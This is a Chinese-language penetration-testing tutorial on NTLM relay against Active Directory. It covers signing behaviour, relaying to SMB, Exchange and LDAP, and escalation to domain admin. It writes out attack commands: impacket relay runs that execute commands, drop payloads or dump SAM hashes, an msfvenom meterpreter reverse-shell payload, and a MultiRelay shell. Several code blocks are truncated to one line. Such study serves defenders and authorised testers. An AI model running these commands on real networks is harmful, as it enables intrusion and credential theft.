Relay(中继)
Relay
简介
在Net-NTLM Hash
的破解里面,如果是v1
的话,拿到Net-NTLM
就相当于拿NTLM HASH
,这个时候就没有Relay
的必要性了。
但是在实际中遇到的例子往往是v2
,这个时候密码强度高一点,基本就跑不出来了,这种情况下不妨试一试Relay
。
详细分析
https://en.hackndo.com/ntlm-relay/
获取net-ntlm hash
常用技巧
https://daiker.gitbook.io/windows-protocol/ntlm-pian/5
1 |
0x01 图标 |
案例
WPAD和mitm6 - https://xedex.gitbook.io/internalpentest/internal-pentest/active-directory/initial-attack-vectors/ipv6-attacks
exchange+rpc+全补丁方案技巧
https://evi1cg.me/archives/NTLMRelay.html
https://www.anquanke.com/post/id/194514
1 |
Exchange |
案例
Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
CVE-2019-1040[算是上面的中文版本] - https://www.cnblogs.com/car7n/p/15143730.html
NTLM relaying to AD CS - On certificates, printers and a little hippo - https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/
AD CS/PKI template exploit via PetitPotam and NTLMRelayx, from 0 to DomainAdmin in 4 steps - https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/
工具集成
https://github.com/Ridter/RelayX
关于签名
详细介绍
https://www.thehacker.recipes/ad/movement/ntlm/relay
SMB签名
SMB
签名以最低要求的方式工作。如果客户端或服务器都不需要签名,则不会对会话进行签名(因为性能问题)
域控默认开启smb签名,而其他域机器默认不开启
ldap签名
默认情况下,ldap
服务器就在域控里面,而且默认策略就是协商签名,而不是强制签名。
也就是说是否签名是由客户端决定的。服务端跟客户端协商是否签名。
微软公司于 2019-09-11
日发布相关通告称微软计划于 2020 年 1 月发布安全更新。为了提升域控制器的安全性,该安全更新将强制开启所有域控制器上 LDAP channel binding
与 LDAP signing
功能。
webadv或http
webadv
或者http
协议,是不要求签名的。
Relay2SMB
能直接relay
到smb
服务器,是最直接最有效的方法。可以直接控制该服务器(包括但不限于在远程服务器上执行命令,上传exe
到远程命令上执行,dump
服务器的用户hash
等等等等)。
SMB版本信息
不同Windows版本所对应的smb
版本,smb
版本越高,内置的安全机制就越完善,利用难度也就越大。
对一些打了ms08-068[KB957097]
补丁的老系统[比如windows xp/2003
以下的系统]利用是无效的。
另外,它默认工作在tcp/udp
的139
和445
端口上,属上层协议[偏应用层]。
Smb v1
主要用于xp/2003
以下的系统中Smb v2.x
主要用于win vista/7/2008/2008r2
Smb v3.x
主要用于win 8/8.1/2012/2012r2/2016
利用环境
工作组
这个实用性比较差。在工作组环境里面,工作组中的机器之间相互没有信任关系,每台机器的账号密码Hash只是保存在自己的SAM
文件中。
这个时候Relay
到别的机器,除非两台机器的账号密码一样(如果账号密码一样,我为啥不直接pth呢),不然没有别的意义了,这个时候的攻击手段就是将机器reflect回机子本身。
因此微软在ms08-068
中对smb reflect
到smb
做了限制,这个补丁在CVE-2019-1384(Ghost Potato)
被绕过。
域环境
域环境下域用户的账号密码Hash保存在域控的ntds.dit
里面。
如下没有限制域用户登录到某台机子,那就可以将该域用户Relay
到别人的机子,或者是拿到域控的请求,将域控Relay
到普通的机子,比如域管运维所在的机子。(为啥不Relay
到其他域控,看上面的smb签名一节)
下面演示使用几款工具在域环境底下,从域控relay
到普通机器执行命令
签名扫描
Nmap
1 |
nmap -Pn -sT -p 445 --open --script smb-security-mode,smb-os-discovery 192.168.3.73 |
RunFinger.py(responder)
1 |
python3 RunFinger.py -i 192.168.3.73 |
CrackMapExec
1 |
crackmapexec smb --gen-relay-list smb_targets.txt 192.168.1.0/24 |
利用方式
smbrelayx.py(impacket)
执行命令
1 |
python3 smbrelayx.py -h 192.168.3.73 -c whoami |
木马上线
msf
的监听要设置set AutoRunScript migrate
,成功得到session
后会自动迁移进程,如果没有设置,在Removing file
的时候会话也随之结束。
1 |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.211 LPORT=4444 -f exe > shell.exe |
ntlmrelayx.py(impacket)
ntlmrelayx.py
是对smbrelayx
的改进,支持多种协议进行中继。ntlmrelayx.py
可以直接用现有的hash
去尝试重放指定的机器。
执行命令
1 |
python3 ntlmrelayx.py -t smb://192.168.3.73 -c whoami -smb2support |
木马上线
1 |
python3 ntlmrelayx.py -t 10.0.0.33 -smb2support -e test.exe |
转储hash
1 |
下面的命令将尝试通过SMB中继身份验证,并尝试从远程目标的SAM转储HASH(如果中继受害者拥有正确的特权)。 |
socks组合拳
We’re currently supporting tunneling connections through SOCKS for SMB, MSSQL, SMTP, IMAP/S, HTTP/S.
1 |
运行后输入socks中继提示符,我们可以看到可用的活动连接,以及会话是否对目标具有管理员权限。 |
Playing with Relayed Credentials - https://www.secureauth.com/blog/playing-with-relayed-credentials/
MultiRelay.py(responder)
交互shell
1 |
python3 MultiRelay.py -t 192.168.3.73 -u ALL # 返回一个shell,kali环境缺库这里就不测了 |
Relay2EWS
Exchange
的认证也是支持NTLM SSP
的。我们可以relay Exchange
,从而收发邮件,代理等等。在使用outlook
的情况下还可以通过homepage
或者下发规则
达到命令执行的效果。而且这种Relay
还有一种好处,将Exchange
开放在外网的公司并不在少数,我们可以在外网发起relay
,而不需要在内网,这是最刺激的。(https://daiker.gitbook.io/windows-protocol/ntlm-pian/6)
利用工具
https://github.com/Arno0x/NtlmRelayToEWS
命令执行
配合homepage 能够实现命令执行的效果,homepage的简易demo代码如下
1 |
<html> |
Relay2LDAP
签名扫描
https://github.com/zyn3rgy/LdapRelayScan
三种通用思路
不管是杀伤力巨大的8581
还是1040
,Relay
到ldap
都在里面发挥着巨大的作用。
这里着重介绍三种通用性比较强的利用思路。这三种在impacket
里面的ntlmrelayx
都有实现。
(这三种通用性比较强而已,实际中这个的利用比较灵活,需要通过nTSecurityDescriptor
分析用户在域内对哪些acl
有权限,什么权限。关于acl
怎么深入利用,这里不再展开,后面在ldap篇[https://daiker.gitbook.io/windows-protocol/ldap-pian] 会详细说明。)
高权限用户
如果NTLM发起用户在以下用户组
- Enterprise admins
- Domain admins
- Built-in Administrators
- Backup operators
- Account operators
那么就可以将任意用户拉进该组,从而使该用户称为高权限用户,比如域管。
write-acl权限
如果发起者对DS-Replication-GetChanges(GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
和DS-Replication-Get-Changes-All(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
有write-acl
权限,那么就可以在该acl
里面添加任意用户,从而使得该用户可以具备dcsync
的权限。
这个案例的典型例子就是Exchange Windows Permissions
组,我们将在下一篇介绍8581的 时候详细说下这个用户组的权限。
普通用户权限
server2012r2之后
在server2012r2
之后,如果没有以上两个权限。可以通过设置基于资源的约束委派。
在NTLM
发起者马上到msDS-AllowedToActOnBehalfOfOtherIdentity
属性里面添加一条ace
,可以让任何机器用户和服务用户可以控制该用户(NTLM
发起者),在这里可能需要新增一台Computer账号或者控制一台机器。
案例
两全其美:结合 NTLM 中继和 Kerberos 委托 - https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
渗透小记 - 中继和委派的实战利用 - https://mp.weixin.qq.com/s/rAM3uWimRriY3lKCHhH8Xg
Server2016之后
在Server2016
之后,支持属性msDS-KeyCredentialLink
,添加了这个属性以后,就可以利用证书来获取对应主机权限,详细可参考Shadow Credentials
参考
https://www.thehacker.recipes/a-d/movement/ntlm/relay - 基本攻击思路导图和命令记录【很重要】
https://forum.butian.net/share/2087 - 奇安信攻防社区-NTLM realy
https://forum.butian.net/share/1944 - 红队域渗透NTLM Relay:强制认证方式总结
https://daiker.gitbook.io/windows-protocol/ntlm-pian/6 - 代课人永远的神
https://www.cnblogs.com/car7n/p/14887818.html - NTLM Relay
https://www.freebuf.com/articles/network/244375.html - 内网渗透测试:NTLM Relay攻击分析
- source:se7ensec.cn
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论